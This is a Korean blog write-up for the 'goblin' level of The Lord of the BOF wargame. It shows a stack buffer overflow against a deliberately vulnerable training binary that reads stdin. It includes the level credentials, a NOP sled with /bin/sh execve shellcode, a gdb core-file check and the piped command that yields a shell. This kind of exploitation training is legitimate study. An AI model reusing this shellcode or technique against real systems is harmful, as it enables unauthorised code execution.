본문 바로가기
Wargame/The Lord of the BOF

LOB - 03 goblin

by morae23 2019. 2. 1.

[goblin - small buffer + stdin]

cobolt : hacking exposed



위의 id와 password로 로그인하면

아래와 같이 goblin 코드를 볼 수 있다.




'LOB - 02 cobolt' 와 유사한 문제이며, stdin으로 입력 받는다는 차이가 있다.

cobolt 문제와 같이 권한 문제로 먼저 tmp 디렉토리를 만든 뒤 바이너리를 복사한다.


그 뒤, buffer 16 바이트와 sfp 4바이트를 A로 채우고

eip 자리에 B를 넣은 뒤 쉘코드를 입력한다.



mkdir tmp
cp goblin ./tmp/goblin
cd tmp
python -c 'print "A"*20 + "BBBB" + "\x90"*100 + "\x31\xc0\x50\xba\x2e\x2e\x72\x67\x81\xc2\x01\x01\x01\x01\x52\xb9\x2e\x62\x69\x6e\x83\xc1\x01\x51\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"' > a
./goblin < a

eip에 넣을 주소를 알아오기 위해 gdb로 core 파일을 연다.


gdb -c core

먼저 eip가 BBBB로 바뀐 것을 볼 수 있고,
스택을 보면 0x90이 채워진 것과 그 뒤에 쉘코드가 들어간 것을 확인할 수 있다.



따라서 0x90의 사이 지점인 0xbffffc20으로 eip를 바꾸었다.


(python -c 'print "A"*20 + "\x20\xfc\xff\xbf" + "\x90"*100 + "\x31\xc0\x50\xba\x2e\x2e\x72\x67\x81\xc2\x01\x01\x01\x01\x52\xb9\x2e\x62\x69\x6e\x83\xc1\x01\x51\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"';cat) | ./goblin

실행 결과 goblin의 password를 얻을 수 있다.







'Wargame > The Lord of the BOF' 카테고리의 다른 글

LOB - 03 goblin - (2)환경 변수 이용  (0) 2019.02.01
LOB - 04 orc  (0) 2019.02.01
LOB - 02 cobolt  (0) 2019.02.01
LOB - 01 gremlin - (3)마무리  (0) 2019.02.01
LOB - 01 gremlin - (2.2)쉘코드 수정  (0) 2019.02.01

댓글